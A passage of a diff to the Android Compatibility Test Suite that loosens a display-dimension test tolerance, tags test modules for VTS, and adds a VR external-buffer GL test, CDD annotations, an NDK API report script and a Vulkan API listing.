     private Context mContext;
     private Configuration mConfig;
     private float mScreenWidth;
+    private DisplayMetrics mDisplayMetrics;
 
     private boolean isRoundWatch() {
         return mConfig.isScreenRound() && (mConfig.uiMode & Configuration.UI_MODE_TYPE_WATCH)
@@ -44,7 +46,8 @@
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mConfig = mContext.getResources().getConfiguration();
-        mScreenWidth = mContext.getResources().getDisplayMetrics().widthPixels;
+        mDisplayMetrics = mContext.getResources().getDisplayMetrics();
+        mScreenWidth = mDisplayMetrics.widthPixels;
     }
 
     @Test
@@ -54,6 +57,7 @@
         }
 
         float expected = mScreenWidth * 0.1f;
+        float expectedDelta = getMaxErrorRatio() * expected;
 
         TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
             android.R.attr.listPreferredItemPaddingEnd
@@ -63,7 +67,7 @@
         for (int i = 0; i < attrs.length(); ++i) {
             float actual = attrs.getDimension(i, -1);
             Assert.assertEquals("screen_percentage_10 is not 10% of screen width",
-                    expected, actual, 0.1f);
+                    expected, actual, expectedDelta + 0.01f);
         }
     }
 
@@ -74,6 +78,7 @@
         }
 
         float expected = mScreenWidth * 0.15f;
+        float expectedDelta = getMaxErrorRatio() * expected;
 
         TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
             android.R.attr.dialogPreferredPadding,
@@ -86,7 +91,14 @@
         for (int i = 0; i < attrs.length(); ++i) {
             float actual = attrs.getDimension(i, -1);
             Assert.assertEquals("screen_percentage_15 is not 15% of screen width",
-                    expected, actual, 0.1f);
+                    expected, actual, expectedDelta + 0.01f);
         }
     }
+
+    private float getMaxErrorRatio() {
+        // The size used will be the closest qualifier with width <= device width, so there may be
+        // small rounding errors.
+        float widthDp = mDisplayMetrics.widthPixels / mDisplayMetrics.density;
+        return (widthDp - (float) Math.floor(widthDp)) / widthDp;
+    }
 }
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index ca55138..c70cfaf 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_PACKAGE_NAME := CtsVideoTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/vm-tests-tf/AndroidManifest.xml
deleted file mode 100644
index 2a2f40a..0000000
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.vm-tests-tf">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
-                     android:targetPackage="android.core.vm-tests-tf"
-                     android:label="cts trade federation vm tests"/>
-
-</manifest>
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index 574ad16..d28ec0f 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsVmTestCases
 
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index c35db68..ea47d2b 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
 
@@ -36,7 +36,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
index 26b267c..769b9ef 100644
--- a/tests/vr/jni/Android.mk
+++ b/tests/vr/jni/Android.mk
@@ -30,4 +30,6 @@
 
 LOCAL_SDK_VERSION := current
 
+LOCAL_NDK_STL_VARIANT := c++_static
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
index 571d83f..6f304b8 100644
--- a/tests/vr/jni/VrExtensionsJni.cpp
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -21,6 +21,11 @@
 #include <jni.h>
 #include <stdlib.h>
 #include <android/hardware_buffer.h>
+#include <android/log.h>
+#include <string>
+
+#define  LOG_TAG    "VrExtensionsJni"
+#define  LOGV(...)  __android_log_print(ANDROID_LOG_VERBOSE,LOG_TAG,__VA_ARGS__)
 
 using PFNEGLGETNATIVECLIENTBUFFERANDROID =
         EGLClientBuffer(EGLAPIENTRYP)(const AHardwareBuffer* buffer);
@@ -28,12 +33,34 @@
 using PFNGLEGLIMAGETARGETTEXTURE2DOESPROC = void(GL_APIENTRYP)(GLenum target,
                                                                void* image);
 
+using PFNGLBUFFERSTORAGEEXTERNALEXTPROC =
+    void(GL_APIENTRYP)(GLenum target, GLintptr offset, GLsizeiptr size,
+                       void* clientBuffer, GLbitfield flags);
+
+using PFNGLMAPBUFFERRANGEPROC = void*(GL_APIENTRYP)(GLenum target,
+                                                    GLintptr offset,
+                                                    GLsizeiptr length,
+                                                    GLbitfield access);
+
+using PFNGLUNMAPBUFFERPROC = void*(GL_APIENTRYP)(GLenum target);
+
 PFNGLEGLIMAGETARGETTEXTURE2DOESPROC glEGLImageTargetTexture2DOES;
 PFNEGLGETNATIVECLIENTBUFFERANDROID eglGetNativeClientBufferANDROID;
 PFNEGLCREATEIMAGEKHRPROC eglCreateImageKHR;
 PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC glFramebufferTextureMultiviewOVR;
 PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC
     glFramebufferTextureMultisampleMultiviewOVR;
+PFNGLBUFFERSTORAGEEXTERNALEXTPROC glBufferStorageExternalEXT;
+PFNGLMAPBUFFERRANGEPROC glMapBufferRange;
+PFNGLUNMAPBUFFERPROC glUnmapBuffer;
+
+#define NO_ERROR 0
+#define GL_UNIFORM_BUFFER         0x8A11
+
+// Declare flags that are added to MapBufferRange via EXT_buffer_storage.
+// https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_buffer_storage.txt
+#define GL_MAP_PERSISTENT_BIT_EXT 0x0040
+#define GL_MAP_COHERENT_BIT_EXT   0x0080
 
 #define LOAD_PROC(NAME, TYPE)                                           \
     NAME = reinterpret_cast<TYPE>(eglGetProcAddress(# NAME))
@@ -52,8 +79,8 @@
     ASSERT((a) == (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 #define ASSERT_NE(a, b) \
     ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
-#define ASSERT_LE(a, b) \
-    ASSERT((a) <= (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+    ASSERT((a) > (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 
 void fail(JNIEnv* env, const char* format, ...) {
     va_list args;
@@ -70,7 +97,7 @@
 
 static void testEglImageArray(JNIEnv* env, AHardwareBuffer_Desc desc,
                               int nsamples) {
-    ASSERT_LE(1, desc.layers);
+    ASSERT_GT(desc.layers, 1);
     AHardwareBuffer* hwbuffer = nullptr;
     int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
     ASSERT_FALSE(error);
@@ -155,3 +182,87 @@
       }
     }
 }
+
+static void testExternalBuffer(JNIEnv* env, uint64_t usage, bool write_hwbuffer,
+                               const std::string& test_string) {
+    // Create a blob AHardwareBuffer suitable for holding the string.
+    AHardwareBuffer_Desc desc = {};
+    desc.width = test_string.size();
+    desc.height = 1;
+    desc.layers = 1;
+    desc.format = AHARDWAREBUFFER_FORMAT_BLOB;
+    desc.usage = usage;
+    AHardwareBuffer* hwbuffer = nullptr;
+    int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+    ASSERT_EQ(error, NO_ERROR);
+    // Create EGLClientBuffer from the AHardwareBuffer.
+    EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+    ASSERT_TRUE(native_buffer);
+    // Create uniform buffer from EGLClientBuffer.
+    const GLbitfield flags = GL_MAP_READ_BIT | GL_MAP_WRITE_BIT |
+        GL_MAP_COHERENT_BIT_EXT | GL_MAP_PERSISTENT_BIT_EXT;
+    GLuint buf = 0;
+    glGenBuffers(1, &buf);
+    glBindBuffer(GL_UNIFORM_BUFFER, buf);
+    ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    const GLsizeiptr bufsize = desc.width * desc.height;
+    glBufferStorageExternalEXT(GL_UNIFORM_BUFFER, 0,
+             bufsize, native_buffer, flags);
+    ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    // Obtain a writeable pointer using either OpenGL or the Android API,
+    // then copy the test string into it.
+    if (write_hwbuffer) {
+      void* data = nullptr;
+      error = AHardwareBuffer_lock(hwbuffer,
+                                   AHARDWAREBUFFER_USAGE_CPU_READ_RARELY, -1,
+                                   NULL, &data);
+      ASSERT_EQ(error, NO_ERROR);
+      ASSERT_TRUE(data);
+      memcpy(data, test_string.c_str(), test_string.size());
+      error = AHardwareBuffer_unlock(hwbuffer, nullptr);
+      ASSERT_EQ(error, NO_ERROR);
+    } else {
+      void* data =
+          glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize,
+                           GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT_EXT);
+      ASSERT_EQ(glGetError(), GL_NO_ERROR);
+      ASSERT_TRUE(data);
+      memcpy(data, test_string.c_str(), test_string.size());
+      glUnmapBuffer(GL_UNIFORM_BUFFER);
+      ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    }
+    // Obtain a readable pointer and verify the data.
+    void* data = glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize, GL_MAP_READ_BIT);
+    ASSERT_TRUE(data);
+    ASSERT_EQ(strncmp(static_cast<char*>(data), test_string.c_str(),
+                      test_string.size()), 0);
+    glUnmapBuffer(GL_UNIFORM_BUFFER);
+    ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestExternalBuffer(
+    JNIEnv* env, jclass /* unused */) {
+    // First, check for EXT_external_buffer in the extension string.
+    auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
+    ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
+    // Next, load entry points provided by extensions.
+    LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
+    ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+    LOAD_PROC(glBufferStorageExternalEXT, PFNGLBUFFERSTORAGEEXTERNALEXTPROC);
+    ASSERT_NE(glBufferStorageExternalEXT, nullptr);
+    LOAD_PROC(glMapBufferRange, PFNGLMAPBUFFERRANGEPROC);
+    ASSERT_NE(glMapBufferRange, nullptr);
+    LOAD_PROC(glUnmapBuffer, PFNGLUNMAPBUFFERPROC);
+    ASSERT_NE(glUnmapBuffer, nullptr);
+    const uint64_t usage = AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN |
+        AHARDWAREBUFFER_USAGE_CPU_READ_RARELY |
+        AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER |
+        AHARDWAREBUFFER_USAGE_SENSOR_DIRECT_DATA;
+    const std::string test_string = "Hello, world.";
+    // First try writing to the buffer using OpenGL, then try writing to it via
+    // the AHardwareBuffer API.
+    testExternalBuffer(env, usage, false, test_string);
+    testExternalBuffer(env, usage, true, test_string);
+}
diff --git a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
index 8b0788b..2a24ec0 100644
--- a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
+++ b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
@@ -32,7 +32,7 @@
             + "}                         \n";
 
     private String fragmentShaderCode = "precision mediump float;  \n"
-            + "sampler2D protectedTexture;\n"
+            + "uniform sampler2D protectedTexture;\n"
             + "void main(){              \n"
             + " gl_FragColor = texture2D(protectedTexture, vec2(0.76953125, 0.22265625)); \n"
             + "}  \n";
@@ -72,4 +72,3 @@
         GLES20.glUniform1i(loc, 2);
     }
 }
-
diff --git a/tests/vr/src/android/vr/cts/VrCpuTest.java b/tests/vr/src/android/vr/cts/VrCpuTest.java
index 8bc1aec..c6a094e 100644
--- a/tests/vr/src/android/vr/cts/VrCpuTest.java
+++ b/tests/vr/src/android/vr/cts/VrCpuTest.java
@@ -18,6 +18,7 @@
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
+import com.android.compatibility.common.util.CddTest;
 
 public class VrCpuTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
@@ -25,7 +26,7 @@
     public VrCpuTest() {
         super(CtsActivity.class);
     }
-
+    @CddTest(requirement="7.9.2/C-1-1")
     public void testHasAtLeastTwoCores() {
         mActivity = getActivity();
         if (mActivity.getPackageManager().hasSystemFeature(
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index 0e91b4b..16de706 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -24,6 +24,7 @@
 import android.view.WindowManager;
 
 import java.nio.IntBuffer;
+import com.android.compatibility.common.util.CddTest;
 
 public class VrDisplayTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
 
@@ -50,6 +51,7 @@
     /**
      * Tests that the refresh rate is at least 60Hz.
      */
+     @CddTest(requirement="7.9.2/C-1-15")
     public void testRefreshRateIsAtLeast60Hz() throws Throwable {
         final int NUM_FRAMES = 200;
         // Add an extra frame to allow the activity to start up.
@@ -74,6 +76,7 @@
     /**
      * Tests that the display resolution is at least 1080p.
      */
+    @CddTest(requirement="7.9.2/C-1-14")
     public void testDisplayResolution() {
         mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
         if (!mActivity.supportsVrHighPerformance())
diff --git a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
index f364241..a27633a 100644
--- a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
+++ b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
@@ -157,6 +157,8 @@
 
     /**
      * Test that a layered EGLImage can be created and attached to a FBO.
+     * For more information, see the EGL_image_array spec:
+     * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_EGL_image_array.txt
      */
     public void testEglImageArray() throws Throwable {
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
@@ -173,6 +175,25 @@
     }
 
     /**
+     * Test that an external buffer can be created, written to, and read from.
+     * For more information, see the GL_EXT_external_buffer spec:
+     * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_external_buffer.txt
+     */
+    public void testExternalBuffer() throws Throwable {
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+        if (!mActivity.supportsVrHighPerformance())
+            return;
+
+        assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+        mActivity.runOnGlThread(new Runnable() {
+            public void run() {
+              nativeTestExternalBuffer();
+            }
+        });
+    }
+
+    /**
      * Runs a context priority test.
      */
     private void runContextPriorityTest(int priority) throws Throwable {
@@ -201,4 +222,5 @@
     }
 
     private static native boolean nativeTestEglImageArray();
+    private static native boolean nativeTestExternalBuffer();
 }
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
index 3f66961..c66f7d4 100644
--- a/tools/cts-api-coverage/Android.mk
+++ b/tools/cts-api-coverage/Android.mk
@@ -20,8 +20,11 @@
 LOCAL_IS_HOST_MODULE := true
 LOCAL_MODULE_CLASS := EXECUTABLES
 LOCAL_MODULE := cts-api-coverage
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-common-util-devicesidelib
 LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
 LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
+
 include $(BUILD_PREBUILT)
 
 # the other stuff
diff --git a/tools/cts-api-coverage/etc/ndk-api-report b/tools/cts-api-coverage/etc/ndk-api-report
new file mode 100755
index 0000000..5d12bd3
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api-report
@@ -0,0 +1,46 @@
+#!/bin/bash
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set up prog to be the path of this script, including following symlinks,
+# and set up progdir to be the fully-qualified pathname of its directory.
+prog="$0"
+while [ -h "${prog}" ]; do
+    newProg=`/bin/ls -ld "${prog}"`
+    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+    if expr "x${newProg}" : 'x/' >/dev/null; then
+        prog="${newProg}"
+    else
+        progdir=`dirname "${prog}"`
+        prog="${progdir}/${newProg}"
+    fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+libdir=`dirname $progdir`/framework
+
+javaOpts=""
+while expr "x$1" : 'x-J' >/dev/null; do
+    opt=`expr "$1" : '-J\(.*\)'`
+    javaOpts="${javaOpts} -${opt}"
+    shift
+done
+
+exec java $javaOpts -cp $libdir/cts-api-coverage.jar com.android.cts.apicoverage.NdkApiXmlReport "$@"
diff --git a/tools/cts-api-coverage/etc/ndk-api.xml b/tools/cts-api-coverage/etc/ndk-api.xml
new file mode 100644
index 0000000..ec8eff1
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api.xml
@@ -0,0 +1,3407 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<api>
+  <package name="ndk">
+    <class abstract="false" deprecated="not deprecated" final="true" name="libvulkan.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceQueueFamilyProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateComputePipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceSupportKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdExecuteCommands" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetInstanceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueBindSparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBufferToImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceFormatsKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResolveImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilCompareMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSubresourceLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkFlushMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindIndexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetSwapchainImagesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBlitImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkBeginCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetRenderAreaGranularity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkResetFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetBlendConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkUpdateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueSubmit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkQueuePresentKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateGraphicsPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEndCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkInvalidateMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumeratePhysicalDevices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdFillBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceMemoryProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPipelineCacheData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkMergePipelineCaches" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearDepthStencilImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWriteTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetBufferMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImageToBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfacePresentModesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
